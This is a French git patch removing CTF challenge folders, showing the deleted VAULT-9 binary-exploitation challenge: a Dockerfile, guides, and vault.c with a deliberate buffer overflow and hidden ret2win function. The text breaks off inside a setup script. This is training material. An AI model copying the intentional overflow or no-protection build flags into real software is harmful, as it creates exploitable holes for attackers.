From 00e195598b8042ca5da310db77a73967b84f7681 Mon Sep 17 00:00:00 2001 From: Jakub WERLINSKI Date: Tue, 21 Jul 2026 11:52:55 +0200 Subject: [PATCH 1/3] =?UTF-8?q?chore(branche):=20garder=20uniquement=201-B?= =?UTF-8?q?lue-Team-Phishing-ELK-Sarah=20=E2=80=94=20NE=20PAS=20MERGER=20D?= =?UTF-8?q?ANS=20MAIN?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- .../.dockerignore | 6 - .../1-Red-Team-Binary-Vault-Jakub/.gitignore | 10 - .../1-Red-Team-Binary-Vault-Jakub/Dockerfile | 41 -- .../1-Red-Team-Binary-Vault-Jakub/README.md | 60 -- .../challenge/vault.c | 98 ---- .../docker-compose.yml | 17 - .../docker-entrypoint.sh | 6 - .../docs/ADMIN_DEPLOYMENT.md | 114 ---- .../docs/USER_GUIDE.md | 45 -- .../report/report_template.md | 35 -- .../setup/challenge.env.example | 22 - .../setup/gen_secret.py | 93 --- .../solution/SOLUTION.md | 71 --- .../solution/exploit.py | 51 -- .../.dockerignore | 30 - .../.gitignore | 24 - .../Dockerfile | 71 --- .../README.md | 77 --- .../docker-compose.yml | 16 - .../docker-entrypoint.sh | 64 -- .../docs/ADMIN_DEPLOYMENT.md | 90 --- .../docs/USER_GUIDE.md | 60 -- .../report/report_template.md | 100 ---- .../setup/generate_challenge.py | 422 ------------- .../setup/generate_pcap.py | 255 -------- .../setup/requirements.txt | 2 - .../solution/SOLUTION.md | 243 -------- .../solution/validate_flag.py | 124 ---- .../tools/extract_strings.py | 237 -------- .../tools/vol_analyzer.py | 554 ------------------ .../Dockerfile | 134 ----- .../README.md | 62 -- .../challenge/app_config.bak | 12 - .../challenge/bash_history_jmartin | 10 - .../challenge/cleanup.sh | 5 - .../challenge/cron_meridian | 5 - .../challenge/decoy_customers.csv | 4 - .../challenge/decoy_db_dump_old.bak | 3 - .../challenge/decoy_website_2019.bak | 2 - .../challenge/entrypoint.sh | 18 - .../challenge/flag10.txt | 5 - .../challenge/flag3.txt | 6 - .../challenge/flag5.txt | 4 - .../challenge/flag6.txt | 7 - .../challenge/flag7.txt | 4 - .../challenge/flag8.txt | 6 - .../challenge/flag9.txt | 4 - .../challenge/logviewer.c | 29 - .../challenge/motd | 14 - .../challenge/orchestrator.py | 86 --- .../challenge/orchestrator_token.txt | 1 - .../challenge/r_dubois_creds.txt | 10 - .../challenge/readme_orchestrator.txt | 3 - .../challenge/sudoers_rdubois | 4 - .../challenge/welcome_note.txt | 10 - .../docs/ARCHITECTURE.md | 86 --- .../docs/CTFD_SETUP.md | 113 ---- .../docs/SCENARIO_JOUEUR.md | 115 ---- .../docs/SOLUTION_WRITEUP.md | 296 ---------- 59 files changed, 4096 deletions(-) delete mode 100644 challenges/1-Red-Team-Binary-Vault-Jakub/.dockerignore delete mode 100644 challenges/1-Red-Team-Binary-Vault-Jakub/.gitignore delete mode 100644 challenges/1-Red-Team-Binary-Vault-Jakub/Dockerfile delete mode 100644 challenges/1-Red-Team-Binary-Vault-Jakub/README.md delete mode 100644 challenges/1-Red-Team-Binary-Vault-Jakub/challenge/vault.c delete mode 100644 challenges/1-Red-Team-Binary-Vault-Jakub/docker-compose.yml delete mode 100644 challenges/1-Red-Team-Binary-Vault-Jakub/docker-entrypoint.sh delete mode 100644 challenges/1-Red-Team-Binary-Vault-Jakub/docs/ADMIN_DEPLOYMENT.md delete mode 100644 challenges/1-Red-Team-Binary-Vault-Jakub/docs/USER_GUIDE.md delete mode 100644 challenges/1-Red-Team-Binary-Vault-Jakub/report/report_template.md delete mode 100644 challenges/1-Red-Team-Binary-Vault-Jakub/setup/challenge.env.example delete mode 100644 challenges/1-Red-Team-Binary-Vault-Jakub/setup/gen_secret.py delete mode 100644 challenges/1-Red-Team-Binary-Vault-Jakub/solution/SOLUTION.md delete mode 100644 challenges/1-Red-Team-Binary-Vault-Jakub/solution/exploit.py delete mode 100644 challenges/2-Blue-Team-Memory-Forensics-Jakub/.dockerignore delete mode 100644 challenges/2-Blue-Team-Memory-Forensics-Jakub/.gitignore delete mode 100644 challenges/2-Blue-Team-Memory-Forensics-Jakub/Dockerfile delete mode 100644 challenges/2-Blue-Team-Memory-Forensics-Jakub/README.md delete mode 100644 challenges/2-Blue-Team-Memory-Forensics-Jakub/docker-compose.yml delete mode 100644 challenges/2-Blue-Team-Memory-Forensics-Jakub/docker-entrypoint.sh delete mode 100644 challenges/2-Blue-Team-Memory-Forensics-Jakub/docs/ADMIN_DEPLOYMENT.md delete mode 100644 challenges/2-Blue-Team-Memory-Forensics-Jakub/docs/USER_GUIDE.md delete mode 100644 challenges/2-Blue-Team-Memory-Forensics-Jakub/report/report_template.md delete mode 100644 challenges/2-Blue-Team-Memory-Forensics-Jakub/setup/generate_challenge.py delete mode 100644 challenges/2-Blue-Team-Memory-Forensics-Jakub/setup/generate_pcap.py delete mode 100644 challenges/2-Blue-Team-Memory-Forensics-Jakub/setup/requirements.txt delete mode 100644 challenges/2-Blue-Team-Memory-Forensics-Jakub/solution/SOLUTION.md delete mode 100644 challenges/2-Blue-Team-Memory-Forensics-Jakub/solution/validate_flag.py delete mode 100644 challenges/2-Blue-Team-Memory-Forensics-Jakub/tools/extract_strings.py delete mode 100644 challenges/2-Blue-Team-Memory-Forensics-Jakub/tools/vol_analyzer.py delete mode 100644 challenges/2-Red-Team-Operation-Silent-Ledger-Lucas/Dockerfile delete mode 100644 challenges/2-Red-Team-Operation-Silent-Ledger-Lucas/README.md delete mode 100644 challenges/2-Red-Team-Operation-Silent-Ledger-Lucas/challenge/app_config.bak delete mode 100644 challenges/2-Red-Team-Operation-Silent-Ledger-Lucas/challenge/bash_history_jmartin delete mode 100644 challenges/2-Red-Team-Operation-Silent-Ledger-Lucas/challenge/cleanup.sh delete mode 100644 challenges/2-Red-Team-Operation-Silent-Ledger-Lucas/challenge/cron_meridian delete mode 100644 challenges/2-Red-Team-Operation-Silent-Ledger-Lucas/challenge/decoy_customers.csv delete mode 100644 challenges/2-Red-Team-Operation-Silent-Ledger-Lucas/challenge/decoy_db_dump_old.bak delete mode 100644 challenges/2-Red-Team-Operation-Silent-Ledger-Lucas/challenge/decoy_website_2019.bak delete mode 100644 challenges/2-Red-Team-Operation-Silent-Ledger-Lucas/challenge/entrypoint.sh delete mode 100644 challenges/2-Red-Team-Operation-Silent-Ledger-Lucas/challenge/flag10.txt delete mode 100644 challenges/2-Red-Team-Operation-Silent-Ledger-Lucas/challenge/flag3.txt delete mode 100644 challenges/2-Red-Team-Operation-Silent-Ledger-Lucas/challenge/flag5.txt delete mode 100644 challenges/2-Red-Team-Operation-Silent-Ledger-Lucas/challenge/flag6.txt delete mode 100644 challenges/2-Red-Team-Operation-Silent-Ledger-Lucas/challenge/flag7.txt delete mode 100644 challenges/2-Red-Team-Operation-Silent-Ledger-Lucas/challenge/flag8.txt delete mode 100644 challenges/2-Red-Team-Operation-Silent-Ledger-Lucas/challenge/flag9.txt delete mode 100644 challenges/2-Red-Team-Operation-Silent-Ledger-Lucas/challenge/logviewer.c delete mode 100644 challenges/2-Red-Team-Operation-Silent-Ledger-Lucas/challenge/motd delete mode 100644 challenges/2-Red-Team-Operation-Silent-Ledger-Lucas/challenge/orchestrator.py delete mode 100644 challenges/2-Red-Team-Operation-Silent-Ledger-Lucas/challenge/orchestrator_token.txt delete mode 100644 challenges/2-Red-Team-Operation-Silent-Ledger-Lucas/challenge/r_dubois_creds.txt delete mode 100644 challenges/2-Red-Team-Operation-Silent-Ledger-Lucas/challenge/readme_orchestrator.txt delete mode 100644 challenges/2-Red-Team-Operation-Silent-Ledger-Lucas/challenge/sudoers_rdubois delete mode 100644 challenges/2-Red-Team-Operation-Silent-Ledger-Lucas/challenge/welcome_note.txt delete mode 100644 challenges/2-Red-Team-Operation-Silent-Ledger-Lucas/docs/ARCHITECTURE.md delete mode 100644 challenges/2-Red-Team-Operation-Silent-Ledger-Lucas/docs/CTFD_SETUP.md delete mode 100644 challenges/2-Red-Team-Operation-Silent-Ledger-Lucas/docs/SCENARIO_JOUEUR.md delete mode 100644 challenges/2-Red-Team-Operation-Silent-Ledger-Lucas/docs/SOLUTION_WRITEUP.md diff --git a/challenges/1-Red-Team-Binary-Vault-Jakub/.dockerignore b/challenges/1-Red-Team-Binary-Vault-Jakub/.dockerignore deleted file mode 100644 index 8e72eb0..0000000 --- a/challenges/1-Red-Team-Binary-Vault-Jakub/.dockerignore +++ /dev/null @@ -1,6 +0,0 @@ -solution/ -docs/ -report/ -README.md -docker-compose.yml -*.md diff --git a/challenges/1-Red-Team-Binary-Vault-Jakub/.gitignore b/challenges/1-Red-Team-Binary-Vault-Jakub/.gitignore deleted file mode 100644 index 79e2095..0000000 --- a/challenges/1-Red-Team-Binary-Vault-Jakub/.gitignore +++ /dev/null @@ -1,10 +0,0 @@ -# Secrets reels du challenge -- ne JAMAIS committer (voir challenge.env.example) -challenge.env - -# Artefacts generes au build -- ne pas committer. -secret.h -flag1.txt -flag2.txt -vault -*.o -__pycache__/ diff --git a/challenges/1-Red-Team-Binary-Vault-Jakub/Dockerfile b/challenges/1-Red-Team-Binary-Vault-Jakub/Dockerfile deleted file mode 100644 index 8d9cc03..0000000 --- a/challenges/1-Red-Team-Binary-Vault-Jakub/Dockerfile +++ /dev/null @@ -1,41 +0,0 @@ -# VAULT-9 -- Red Team 3 (reverse + exploitation binaire) -# Build : le binaire est compile sans protections modernes (no PIE, -# no stack canary) pour rendre le ret2win faisable en intermediaire. -FROM debian:12-slim - -RUN apt-get update && \ - apt-get install -y --no-install-recommends \ - gcc libc6-dev socat python3 && \ - rm -rf /var/lib/apt/lists/* - -RUN useradd -m -s /usr/sbin/nologin ctf - -# Secrets fournis au build (priorite sur setup/challenge.env). Vides par -# defaut -> gen_secret.py utilise challenge.env ou des placeholders. -ARG LICENSE="" -ARG FLAG1="" -ARG FLAG2="" -ARG XOR_KEY="" - -WORKDIR /build -COPY challenge/vault.c ./vault.c -COPY setup/ ./setup/ - -# Genere secret.h + flags, compile, installe dans /challenge. -RUN LICENSE="$LICENSE" FLAG1="$FLAG1" FLAG2="$FLAG2" XOR_KEY="$XOR_KEY" \ - python3 setup/gen_secret.py && \ - gcc -fno-stack-protector -no-pie -fno-pie -O0 -w -o vault vault.c && \ - mkdir -p /challenge && \ - cp vault /challenge/vault && \ - cp flag1.txt flag2.txt /challenge/ && \ - chmod 0555 /challenge/vault && \ - chmod 0444 /challenge/flag1.txt /challenge/flag2.txt && \ - rm -rf /build - -COPY docker-entrypoint.sh /usr/local/bin/entrypoint.sh -RUN chmod +x /usr/local/bin/entrypoint.sh - -WORKDIR /challenge -EXPOSE 9003 -USER ctf -ENTRYPOINT ["/usr/local/bin/entrypoint.sh"] diff --git a/challenges/1-Red-Team-Binary-Vault-Jakub/README.md b/challenges/1-Red-Team-Binary-Vault-Jakub/README.md deleted file mode 100644 index 25d9fca..0000000 --- a/challenges/1-Red-Team-Binary-Vault-Jakub/README.md +++ /dev/null @@ -1,60 +0,0 @@ -# 🔮 Red Team 3 — VAULT-9 (Reverse & Exploitation binaire) - -### Challenge Jakub — niveau intermĂ©diaire - -Premier challenge de **pwn** de la plateforme RootMeUp : un binaire Linux Ă  -rĂ©tro-ingĂ©nier puis Ă  exploiter. Conçu pour combler l'Ă©cart entre les Blue Team -(accessibles) et les Red Team 1 & 2 (Linux/web). - -## 📌 Documentation - -- Guide joueur : [`docs/USER_GUIDE.md`](docs/USER_GUIDE.md) -- Guide admin / dĂ©ploiement : [`docs/ADMIN_DEPLOYMENT.md`](docs/ADMIN_DEPLOYMENT.md) -- Solution (⚠ spoilers) : [`solution/SOLUTION.md`](solution/SOLUTION.md) - -## 🎯 RĂ©sumĂ© - -| | | -|---|---| -| CatĂ©gorie | Red Team — Reverse + Exploitation binaire | -| DifficultĂ© | IntermĂ©diaire | -| Flags | 2 (progressifs) | -| AccĂšs | `nc ` (instance Docker par Ă©quipe) | -| CompĂ©tences | reverse (XOR), dĂ©bordement de tampon, ret2win, pwntools | - -## đŸ§© DĂ©roulĂ© - -1. **Reverse** — la console vĂ©rifie une licence obfusquĂ©e en XOR (`check_license`). Le joueur rĂ©cupĂšre la clĂ© → **flag 1**. -2. **Exploitation** — le terminal de maintenance dĂ©borde `buf[64]` (lecture de 200 octets). Le joueur dĂ©tourne l'exĂ©cution (`ret2win`) vers la fonction cachĂ©e `vault()` → **flag 2**. - -## 📁 Structure - -``` -3-Red-Team-Binary-Vault/ -├── README.md -├── Dockerfile ← build + service socat (port 9003) -├── docker-compose.yml ← test local -├── docker-entrypoint.sh -├── challenge/ -│ └── vault.c ← source du binaire (sans secret en clair) -├── setup/ -│ └── gen_secret.py ← gĂ©nĂšre secret.h + flags au build (⚠ spoiler) -├── docs/ -│ ├── USER_GUIDE.md -│ └── ADMIN_DEPLOYMENT.md -├── solution/ -│ ├── SOLUTION.md ← ⚠ spoilers -│ └── exploit.py ← exploit pwntools (testĂ©) -└── report/ - └── report_template.md -``` - -## ⚙ Build rapide - -```bash -docker compose up --build -d # Ă©coute sur 9003 -nc 127.0.0.1 9003 -docker compose down -``` - -> Artefacts gĂ©nĂ©rĂ©s (`secret.h`, `flag*.txt`, `vault`) : ignorĂ©s par git, jamais committĂ©s. diff --git a/challenges/1-Red-Team-Binary-Vault-Jakub/challenge/vault.c b/challenges/1-Red-Team-Binary-Vault-Jakub/challenge/vault.c deleted file mode 100644 index 2b0aa86..0000000 --- a/challenges/1-Red-Team-Binary-Vault-Jakub/challenge/vault.c +++ /dev/null @@ -1,98 +0,0 @@ -/* - * VAULT-9 :: Console d'administration - * Challenge Red Team 3 (intermediaire) - RootMeUp - * - * Deux etapes : - * 1. Reverse : contourner la verification de licence (obfusquee en XOR). - * 2. Exploitation : debordement de tampon (ret2win) vers vault(). - * - * secret.h est genere au build par setup/gen_secret.py : il contient - * la licence encodee en XOR (jamais le texte en clair) afin que `strings` - * sur le binaire distribue ne revele pas la solution. - */ -#include -#include -#include -#include -#include -#include "secret.h" /* LICENSE_ENC[], LICENSE_LEN, XOR_KEY */ - -char flag1[128]; -char flag2[128]; - -static void load_flag(const char *path, char *dst, size_t n) -{ - int fd = open(path, O_RDONLY); - if (fd < 0) { strncpy(dst, "FLAG_MANQUANT", n); dst[n - 1] = 0; return; } - ssize_t r = read(fd, dst, n - 1); - if (r < 0) r = 0; - dst[r] = 0; - char *nl = strchr(dst, '\n'); - if (nl) *nl = 0; - close(fd); -} - -static void setup(void) -{ - setvbuf(stdout, NULL, _IONBF, 0); - setvbuf(stdin, NULL, _IONBF, 0); - setvbuf(stderr, NULL, _IONBF, 0); - load_flag("/challenge/flag1.txt", flag1, sizeof(flag1)); - load_flag("/challenge/flag2.txt", flag2, sizeof(flag2)); -} - -/* Etape 2 : fonction "gagnante" jamais atteinte par le flux normal. */ -void vault(void) -{ - puts(""); - puts("[+] Coffre deverrouille -- acces au module memoire protege accorde."); - printf("[+] flag 2: %s\n", flag2); - fflush(stdout); - _exit(0); -} - -/* Etape 1 : la licence attendue est stockee XORee avec XOR_KEY. */ -static int check_license(const char *input) -{ - if (strlen(input) != LICENSE_LEN) - return 0; - for (size_t i = 0; i < LICENSE_LEN; i++) { - if ((unsigned char)(input[i] ^ XOR_KEY) != LICENSE_ENC[i]) - return 0; - } - return 1; -} - -/* Debordement volontaire : read() ecrit jusqu'a 200 octets dans buf[64]. */ -static void access_terminal(void) -{ - char buf[64]; - puts(""); - puts("=== Terminal de maintenance ==="); - printf("Commande > "); - read(0, buf, 200); - printf("Commande '%s' non reconnue.\n", buf); -} - -int main(void) -{ - setup(); - - char license[128]; - puts("========================================"); - puts(" VAULT-9 :: Console d'administration "); - puts("========================================"); - printf("Cle de licence > "); - if (!fgets(license, sizeof(license), stdin)) - return 0; - license[strcspn(license, "\r\n")] = 0; - - if (check_license(license)) { - puts("[+] Licence valide. Bienvenue, administrateur."); - printf("[+] Preuve d'acces (flag 1): %s\n", flag1); - access_terminal(); - } else { - puts("[-] Licence invalide. Acces refuse."); - } - return 0; -} diff --git a/challenges/1-Red-Team-Binary-Vault-Jakub/docker-compose.yml b/challenges/1-Red-Team-Binary-Vault-Jakub/docker-compose.yml deleted file mode 100644 index 311f9fa..0000000 --- a/challenges/1-Red-Team-Binary-Vault-Jakub/docker-compose.yml +++ /dev/null @@ -1,17 +0,0 @@ -# Deploiement local pour tests. En production, le plugin -# CTFdDockerContainersPlugin gere l'allocation dynamique du port. -services: - vault: - build: - context: . - # Optionnel : surcharge les secrets via l'environnement du shell. - # Sinon, gen_secret.py lit setup/challenge.env (voir .env.example). - args: - LICENSE: ${LICENSE:-} - FLAG1: ${FLAG1:-} - FLAG2: ${FLAG2:-} - XOR_KEY: ${XOR_KEY:-} - container_name: rt3-vault - ports: - - "9003:9003" - restart: unless-stopped diff --git a/challenges/1-Red-Team-Binary-Vault-Jakub/docker-entrypoint.sh b/challenges/1-Red-Team-Binary-Vault-Jakub/docker-entrypoint.sh deleted file mode 100644 index 24156ce..0000000 --- a/challenges/1-Red-Team-Binary-Vault-Jakub/docker-entrypoint.sh +++ /dev/null @@ -1,6 +0,0 @@ -#!/bin/sh -# Sert le binaire vulnerable : une instance par connexion TCP. -set -e -PORT="${CHALLENGE_PORT:-9003}" -echo "[*] VAULT-9 en ecoute sur le port ${PORT}" -exec socat -T120 TCP-LISTEN:"${PORT}",reuseaddr,fork EXEC:"/challenge/vault",stderr diff --git a/challenges/1-Red-Team-Binary-Vault-Jakub/docs/ADMIN_DEPLOYMENT.md b/challenges/1-Red-Team-Binary-Vault-Jakub/docs/ADMIN_DEPLOYMENT.md deleted file mode 100644 index 9ad0496..0000000 --- a/challenges/1-Red-Team-Binary-Vault-Jakub/docs/ADMIN_DEPLOYMENT.md +++ /dev/null @@ -1,114 +0,0 @@ -# Guide admin / dĂ©ploiement — VAULT-9 (Red Team 3) - -## RĂ©sumĂ© technique - -| ÉlĂ©ment | Valeur | -|---|---| -| Type CTFd | Container (plugin CTFdDockerContainersPlugin) | -| Port interne | `9003` (TCP, servi par `socat`, une instance/connexion) | -| Fichier Ă  joindre au challenge | le binaire **`vault`** (voir extraction ci-dessous) | -| Flags | 2 — voir `solution/SOLUTION.md` | -| Compilation | `-fno-stack-protector -no-pie -fno-pie -O0` | - -Les secrets (licence, flags) sont gĂ©nĂ©rĂ©s au build par `setup/gen_secret.py` et **ne sont pas embarquĂ©s** dans le binaire (lus depuis `/challenge/flag*.txt` au runtime). `strings vault` ne rĂ©vĂšle donc rien. - -> ✅ **ValidĂ© bout-en-bout en conteneur Docker le 20/07/2026** : build OK, -> service accessible sur 9003, exploit `solution/exploit.py` rĂ©cupĂšre les 2 flags. - -## Fournir les flags (ne PAS les committer) - -Les vrais flags **ne sont plus stockĂ©s dans le dĂ©pĂŽt**. Avant de builder, fournissez-les -par l'un des deux moyens (l'environnement a prioritĂ© sur le fichier) : - -**Option A — fichier `challenge.env` (recommandĂ©)** -```bash -cd challenges/3-Red-Team-Binary-Vault/setup -cp challenge.env.example challenge.env -$EDITOR challenge.env # renseigner LICENSE, FLAG1, FLAG2 -``` -`challenge.env` est gitignorĂ© : il ne partira jamais dans git. Il est inclus dans le -contexte de build et lu automatiquement par `gen_secret.py`. - -**Option B — build-args / variables d'environnement** -```bash -docker build -t rt3-vault \ - --build-arg LICENSE='...' --build-arg FLAG1='RM{...}' --build-arg FLAG2='RM{...}' . -# ou, avec docker-compose : export FLAG1=... FLAG2=... LICENSE=... puis docker-compose build -``` - -Si aucune source n'est fournie, le build **rĂ©ussit quand mĂȘme** mais avec des flags -**placeholders** (`RM{PLACEHOLDER_...}`) et un avertissement — utile pour un test Ă  blanc, -inutilisable en prod. - -> ⚠ **Rotation** : les flags d'origine ont Ă©tĂ© committĂ©s publiquement avant ce changement. -> Ils restent visibles dans l'historique git. Choisissez de **nouveaux flags** dans -> `challenge.env` (et mettez-les Ă  jour dans CTFd) pour que les anciens deviennent inutiles. - -## PrĂ©requis / piĂšges courants - -- **Compose v1 vs v2** : `docker compose` (avec espace) n'existe qu'avec le plugin v2. - Sur Kali/Debian, le paquet `docker-compose` (2.40.x) fournit la commande - **`docker-compose`** (avec tiret). Si `docker compose up --build` renvoie - `unknown flag: --build`, utilisez `docker-compose` ou la mĂ©thode build/run manuelle ci-dessous. -- **Droits Docker** : si le user n'est pas dans le groupe `docker`, prĂ©fixer chaque - commande par `sudo` (sinon `permission denied ... /var/run/docker.sock`). - -## Build & test local - -```bash -cd challenges/3-Red-Team-Binary-Vault -docker-compose up --build -d # ou : docker compose up --build -d (plugin v2) -# le service Ă©coute sur le port 9003 -nc 127.0.0.1 9003 -``` - -Sans Compose (marche partout) : - -```bash -docker build -t rt3-vault . -docker run -d -p 9003:9003 --name rt3-vault rt3-vault -``` - -Test automatique de la solution : - -```bash -# extraire le binaire de l'image dans solution/, puis lancer l'exploit : -docker cp rt3-vault:/challenge/vault solution/vault -cd solution && python3 exploit.py 127.0.0.1 9003 -``` - -ArrĂȘt : - -```bash -docker compose down -``` - -## Extraire le binaire Ă  distribuer - -Le joueur doit tĂ©lĂ©charger le **mĂȘme** binaire que celui dĂ©ployĂ© : - -```bash -docker compose up --build -d -docker cp rt3-vault:/challenge/vault ./vault -docker compose down -``` - -Joindre `./vault` comme fichier du challenge dans CTFd. **Ne jamais** joindre `flag1.txt`, `flag2.txt` ni `secret.h`. - -## IntĂ©gration CTFd (plugin conteneurs) - -1. Builder l'image sur l'hĂŽte Docker de la VM (`docker build -t rt3-vault .`). -2. Dans CTFd → challenge de type **Container** : image `rt3-vault`, port interne **9003**. -3. Renseigner les 2 flags (sensibles Ă  la casse), en points progressifs. -4. Joindre le binaire `vault` (fichier tĂ©lĂ©chargeable). -5. Tester le **Start Instance** avec un compte non-admin (IP + port dynamique allouĂ©s par le plugin). - -## SĂ©curitĂ© de dĂ©ploiement - -- Le conteneur tourne en utilisateur non privilĂ©giĂ© `ctf`, `nologin`. -- Le binaire est volontairement vulnĂ©rable **mais confinĂ© au conteneur** : aucun accĂšs hĂŽte, pas de shell exposĂ© (le ret2win n'offre qu'un `puts` du flag, pas de RCE arbitraire). -- `socat` limite chaque session (`-T120`, timeout 120 s) pour Ă©viter les connexions pendantes. - -## Modifier les flags / la licence - -Éditer `setup/gen_secret.py` (constantes `LICENSE`, `XOR_KEY`, `FLAG1`, `FLAG2`) puis rebuilder. Penser Ă  rĂ©gĂ©nĂ©rer/rejoindre le binaire et Ă  mettre Ă  jour les flags dans CTFd. diff --git a/challenges/1-Red-Team-Binary-Vault-Jakub/docs/USER_GUIDE.md b/challenges/1-Red-Team-Binary-Vault-Jakub/docs/USER_GUIDE.md deleted file mode 100644 index d51b297..0000000 --- a/challenges/1-Red-Team-Binary-Vault-Jakub/docs/USER_GUIDE.md +++ /dev/null @@ -1,45 +0,0 @@ -# 🔮 VAULT-9 — Guide du joueur - -**CatĂ©gorie :** Red Team — Reverse & Exploitation binaire -**DifficultĂ© :** IntermĂ©diaire -**Flags :** 2 (progressifs) - -## 📖 Contexte - -L'entreprise **Meridian Corp** protĂšge son module mĂ©moire sensible derriĂšre une console d'administration maison, `VAULT-9`. Un binaire de cette console a fuitĂ©. Votre Ă©quipe doit dĂ©montrer qu'il est vulnĂ©rable : contourner sa licence, puis en prendre le contrĂŽle pour ouvrir le coffre. - -## 🎯 Objectifs - -1. **Flag 1** — Contourner la vĂ©rification de licence du binaire. -2. **Flag 2** — Prendre le contrĂŽle de l'exĂ©cution pour atteindre la routine qui ouvre le coffre. - -Format des flags : `RM{...}` (sensible Ă  la casse). - -## 🔌 AccĂšs - -1. TĂ©lĂ©chargez le binaire **`vault`** fourni avec le challenge dans CTFd. -2. DĂ©marrez l'instance (**Start Instance**) : vous obtenez une **IP** et un **port**. -3. Connectez-vous au service : - - ```bash - nc - ``` - -Le binaire tĂ©lĂ©chargĂ© est **identique** Ă  celui qui tourne sur l'instance : analysez-le en local, exploitez-le Ă  distance. - -## 🧰 Outils suggĂ©rĂ©s - -- **Reverse** : `Ghidra`, `IDA Free`, `radare2`/`Cutter`, ou simplement `objdump -d vault`. -- **Exploitation** : `pwntools` (Python), `gdb` + `pwndbg`/`gef`. -- **Recon** : `file vault`, `checksec vault`, `strings vault`. - -## đŸȘœ Pistes (sans spoiler) - -- Étape 1 : commencez par `file` et `checksec`. Cherchez la fonction qui valide la licence. Quelle **opĂ©ration** est appliquĂ©e Ă  votre saisie avant la comparaison ? La donnĂ©e de rĂ©fĂ©rence est en clair dans le binaire
 mais transformĂ©e. -- Étape 2 : une fois « administrateur », le terminal de maintenance lit votre entrĂ©e. Combien d'octets accepte-t-il vraiment vs la taille du tampon ? Existe-t-il une fonction **intĂ©ressante jamais appelĂ©e** ? - -## ✅ Validation - -Soumettez chaque flag dans CTFd. Le flag 1 se trouve dĂšs l'accĂšs administrateur ; le flag 2 nĂ©cessite de dĂ©tourner l'exĂ©cution. - -Bon courage — et n'oubliez pas : *ne codez jamais un secret en dur.* 😉 diff --git a/challenges/1-Red-Team-Binary-Vault-Jakub/report/report_template.md b/challenges/1-Red-Team-Binary-Vault-Jakub/report/report_template.md deleted file mode 100644 index 2eb497e..0000000 --- a/challenges/1-Red-Team-Binary-Vault-Jakub/report/report_template.md +++ /dev/null @@ -1,35 +0,0 @@ -# Rapport — VAULT-9 (Red Team 3) - -- **Équipe :** ______________________ -- **Date :** ______________________ - -## Reconnaissance - -- Sortie de `file vault` : ______________________ -- Sortie de `checksec vault` : ______________________ - -## Étape 1 — Reverse de la licence - -- Fonction identifiĂ©e : ______________________ -- Transformation appliquĂ©e Ă  l'entrĂ©e : ______________________ -- Licence rĂ©cupĂ©rĂ©e : ______________________ -- **Flag 1 :** ______________________ - -## Étape 2 — Exploitation - -- Fonction vulnĂ©rable : ______________________ -- Taille du tampon / octets lus : ______________________ -- Offset jusqu'Ă  l'adresse de retour : ______________________ -- Fonction cible (ret2win) et son adresse : ______________________ -- Remarque sur l'alignement de pile : ______________________ -- **Flag 2 :** ______________________ - -## Exploit - -``` -(coller le script ou les commandes utilisĂ©es) -``` - -## RemĂ©diation proposĂ©e - -- ______________________ (ex : canari de pile, PIE, ne pas coder de secret en dur, `read` bornĂ©) diff --git a/challenges/1-Red-Team-Binary-Vault-Jakub/setup/challenge.env.example b/challenges/1-Red-Team-Binary-Vault-Jakub/setup/challenge.env.example deleted file mode 100644 index d343ac8..0000000 --- a/challenges/1-Red-Team-Binary-Vault-Jakub/setup/challenge.env.example +++ /dev/null @@ -1,22 +0,0 @@ -# ===================================================================== -# Modele de configuration des secrets du challenge VAULT-9. -# -# 1. Copiez ce fichier : cp challenge.env.example challenge.env -# 2. Renseignez les VRAIES valeurs dans challenge.env -# 3. challenge.env est gitignore : il ne sera jamais committe. -# -# Alternative : passer ces valeurs en --build-arg au docker build -# (les variables d'environnement ont priorite sur ce fichier). -# ===================================================================== - -# Licence attendue par l'etape reverse (etape 1) -LICENSE=exemple_a_changer - -# Flag de l'etape reverse (etape 1) -FLAG1=RM{exemple_flag_reverse_a_changer} - -# Flag de l'etape exploitation ret2win (etape 2) -FLAG2=RM{exemple_flag_pwn_a_changer} - -# Cle de XOR mono-octet (0x.. ou decimal). Non sensible, defaut 0x5c. -XOR_KEY=0x5c diff --git a/challenges/1-Red-Team-Binary-Vault-Jakub/setup/gen_secret.py b/challenges/1-Red-Team-Binary-Vault-Jakub/setup/gen_secret.py deleted file mode 100644 index cbc2575..0000000 --- a/challenges/1-Red-Team-Binary-Vault-Jakub/setup/gen_secret.py +++ /dev/null @@ -1,93 +0,0 @@ -#!/usr/bin/env python3 -# -*- coding: utf-8 -*- -# ===================================================================== -# gen_secret.py -- generateur mainteneur (execute au build Docker) -# -# Genere secret.h (licence XORee) + flag1.txt / flag2.txt. -# -# Les valeurs sensibles (licence, flags) ne sont PLUS ecrites en dur ici : -# elles proviennent, par ordre de priorite, -# 1. des variables d'environnement (ex: passees en --build-arg), -# 2. du fichier `challenge.env` place a cote de ce script (gitignore), -# 3. a defaut, de placeholders inoffensifs (le build reussit mais les -# flags ne sont pas les vrais -> un avertissement est affiche). -# -# Voir challenge.env.example pour le modele a copier en challenge.env. -# ===================================================================== - -import os -import sys - -SCRIPT_DIR = os.path.dirname(os.path.abspath(__file__)) -ENV_FILE = os.path.join(SCRIPT_DIR, "challenge.env") - -# Placeholders : PAS les vrais flags. Le build reste fonctionnel pour les -# tests, mais ces valeurs doivent etre remplacees via challenge.env / build-arg. -PLACEHOLDERS = { - "LICENSE": "CHANGEME_license_a_definir", - "FLAG1": "RM{PLACEHOLDER_definir_dans_challenge_env}", - "FLAG2": "RM{PLACEHOLDER_definir_dans_challenge_env}", - "XOR_KEY": "0x5c", -} - - -def load_env_file(path): - """Parse simple d'un fichier KEY=VALUE (lignes vides / # ignorees).""" - values = {} - if not os.path.isfile(path): - return values - with open(path, encoding="utf-8") as f: - for line in f: - line = line.strip() - if not line or line.startswith("#") or "=" not in line: - continue - key, _, val = line.partition("=") - values[key.strip()] = val.strip().strip('"').strip("'") - return values - - -def resolve(name, file_values): - """env var (non vide) > challenge.env > placeholder.""" - env = os.environ.get(name) - if env: - return env, "env" - if file_values.get(name): - return file_values[name], "challenge.env" - return PLACEHOLDERS[name], "placeholder" - - -def main(): - file_values = load_env_file(ENV_FILE) - - license_, s1 = resolve("LICENSE", file_values) - flag1, s2 = resolve("FLAG1", file_values) - flag2, s3 = resolve("FLAG2", file_values) - xor_raw, _ = resolve("XOR_KEY", file_values) - xor_key = int(xor_raw, 0) & 0xFF # accepte 0x.. ou decimal - - if "placeholder" in (s1, s2, s3): - print("[gen_secret] /!\\ ATTENTION : valeurs par defaut 